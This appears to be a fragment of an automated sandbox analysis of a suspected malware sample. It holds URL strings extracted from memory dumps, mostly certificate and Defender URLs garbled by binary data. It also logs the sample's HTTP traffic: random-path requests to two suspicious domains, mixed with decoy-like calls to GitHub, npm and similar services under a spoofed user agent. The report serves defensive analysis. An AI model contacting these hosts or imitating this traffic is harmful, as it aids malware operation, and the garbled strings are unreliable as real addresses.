"www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Pattern match: "http://www" Pattern match: "osoft.com/pk" Pattern match: "http://crl.m" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings"47:T7975,Found URL "http://logo.verisign.com/vslogo.gif0\:oj?secom" - Source: "00000000-00006612.00000000.212757.B9850000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn9iqmgvw,czcnvm_symlink=c:\program" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lr;jmus1!0network" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>dps=" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-%qz3" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microo(jzu" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://www./gzo$t.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crts/mictimstapca_2010-07-01.crl0zn0l0j>http://www.m.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00006612.00000000.212757.D56D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006612.00000000.212757.D56D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006612.00000000.212757.D56D0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?secom" - Source: "00000000-00006612.00000001.214679.B9850000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn9iqmgvw,czcnvm_symlink=c:\program" - Source: "00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lr;jmus1!0network" - Source: "00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport:\programdata\microsoft\windows" - Source: "00000000-00006612.00000001.214679.D56D0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00006612.00000001.214679.D56D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006612.00000001.214679.D56D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006612.00000001.214679.D56D0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00006612.00000001.214679.D57D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006612.00000001.214679.D5847000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006612.00000001.214679.D5847000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006612.00000001.214679.D5847000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006612.00000001.214679.D5847000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006612.00000001.214679.D5847000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006612.00000001.214679.D5847000.00000004.mdmp") Found URL "http://www.2" - Source: "00000000-00006612.00000001.214679.D5847000.00000004.mdmp") Found URL "http://o2/certs/micrq2:ctxcoqg2ington1microsof[2$microsof]2list" - Source: "00000000-00006612.00000001.214679.D5847000.00000004.mdmp") Found URL "http://crl.m3^" - Source: "00000000-00006612.00000001.214679.D5847000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?secom" - Source: "00000000-00006612.00000002.216597.B9947000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn9iqmgvw,czcnvm_symlink=c:\program" - Source: "00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lr;jmus1!0network" - Source: "00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport:\programdata\microsoft\windows" - Source: "00000000-00006612.00000002.216597.D56D0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00006612.00000002.216597.D56D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006612.00000002.216597.D56D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006612.00000002.216597.D56D0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00006612.00000002.216597.D57D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006612.00000002.216597.D5847000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006612.00000002.216597.D5847000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006612.00000002.216597.D5847000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006612.00000002.216597.D5847000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006612.00000002.216597.D5847000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006612.00000002.216597.D5847000.00000004.mdmp") Found URL "http://www.2" - Source: "00000000-00006612.00000002.216597.D5847000.00000004.mdmp") Found URL "http://o2/certs/micrq2:ctxcoqg2ington1microsof[2$microsof]2ist" - Source: "00000000-00006612.00000002.216597.D5847000.00000004.mdmp")48:T1619,GET /was0do6si2 HTTP/1.1 Host: ootip.submergejunkie.life Connection: close GET /todos/130 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip deflate Connection: Keep-Alive GET /chai HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: registry.npmjs.org Accept-Encoding: gzip deflate Connection: Keep-Alive GET /repos/google/ExoPlayer/contributors HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip deflate Connection: Keep-Alive GET /repos/laravel/laravel/commits HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip deflate GET /v2/repositories/library/golang/tags/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: hub.docker.com Accept-Encoding: gzip deflate Connection: Keep-Alive GET /installazurecliwindows HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: aka.ms Accept-Encoding: gzip deflate Connection: Keep-Alive GET /sdfkkiso87 HTTP/1.1 Host: grantt.qumarox.icu Connection: Keep-Alive GET /todos/26 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip deflate GET /v2/repositories/library/openjdk/tags/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: hub.docker.com Accept-Encoding: gzip deflate GET /posts/17 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip deflate GET /repos/date-fns/date-fns/contributors?ref=4668395269973 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip deflate GET /repos/saltstack/salt/releases HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip deflate GET /posts/95 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip deflate GET /pypi/rich/json HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: pypi.org Accept-Encoding: gzip deflate Connection: Keep-Alive GET /todos/161 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip deflate GET /repos/facebook/react-native/contributors HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip deflate GET /repos/microsoft/generative-ai-for-beginners/branches HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip deflate GET /installazurecliwindows HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: aka.ms Accept-Encoding: gzip deflate GET /repos/ansible/ansible/releases HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip deflate GET /todos/188 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip deflate GET /repos/axios/axios/tags HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip deflate GET /repos/traefik/traefik/branches HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip deflate GET /todos/12 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip deflate 49:T33d6,Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /babel-core/latest HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /babel-core/latest HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /headlessui/latest HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /headlessui/latest HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /nodemon/latest HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /nodemon/latest HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /chart.js HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMa" in header "GET /chart.js HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoAAccept-Encoding: gzip, deflate" Contains base62 string in header "mYyusrDOCfM55ZmBrGaGDG4noIWxkePyX" in header "GET /semantic-release/latest HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgCookie: 